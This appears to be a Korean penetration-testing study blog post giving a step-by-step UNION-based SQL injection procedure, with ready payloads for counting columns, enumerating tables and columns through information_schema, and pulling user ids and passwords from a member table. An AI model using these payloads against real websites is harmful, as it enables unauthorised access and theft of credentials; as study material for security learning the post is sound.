UNION SQL Injection Process
- SQL Injection point 찾기
- column의 개수 찾기
- 출력되는 column의 위치 찾기
- DB 이름 확인하기
- Table 이름 확인
- column 이름 확인
- Data 추출
1. SQL Injection point 찾기
- 내가 보낸 데이터가 웹서버에서 어떻게 동작하는지 생각해 보기
- AND 1 = 1을 사용하여 취약점 점검 = 항등원 개념
2. column의 개수 찾기
- ORDER BY 구문을 사용하여 칼럼의 개수 찾기
- union Injection을 사용하기 위해서는 칼럼의 개수를 동일하게 맞춰줘야 하기 때문.
- EX ) 게시판의 데이터를 추출하려고 할 때
- over%’ order by 1 # → 1씩 점진적 증가, 에러가 난 곳에서 -1 이 칼럼의 개수
3. 출력되는 column의 위치 찾기
- over%’ union select 1,2,3,4 #
- 출력되는 데이터 중 하나를 골라서 칼럼을 넣는다.
- EX ) select pass from member
- over%’ union select 1, pass,3,4 from member #
4. DB 이름 확인하기
- select database() → DB의 이름 확인하는 SQL 쿼리
- EX )
- over%’ union select 1, database(),3,4 #
5. Table 이름 확인
- DB를 유지하기 위해 DB 정보들을 저장하고 있는 테이블 존재 → 거기서 질의한다.
- information_schema.tables // information_schema( DB ) tables ( Table )
- EX ) select table_name form information_schema.tables where table_schema = ‘ DB 이름 ‘
- over%’ union select 1, table_name ,3,4 from information_schema.tables where table_schema = ‘ DB 이름 ‘
- 위 쿼리가 되지 않는다면 테이블의 타입을 맞춰줘야 함
- over%' UNION SELECT CAST(table_name AS CHAR), 2, 3, 4 FROM information_schema.tables WHERE table_schema = 'sqli_1' #
6. column 이름 확인
- select column_name form information_schema.columns where table_name = ‘ 테이블 이름 ‘
- EX )
- over%' union select column_name, 2, 3, 4 from information_schema.columns where table_name = '테이블 이름' #
7. Data 추출
- over%’ union select 1, id, pass,4 from 테이블 이름 #
'모의해킹 스터디 > 개념 정리' 카테고리의 다른 글
| Error based SQL Injection (0) | 2024.12.03 |
|---|---|
| 로그인 인증 우회 SQL Injection (0) | 2024.11.22 |
| SQL Injection 개념과 원리 (2) | 2024.11.22 |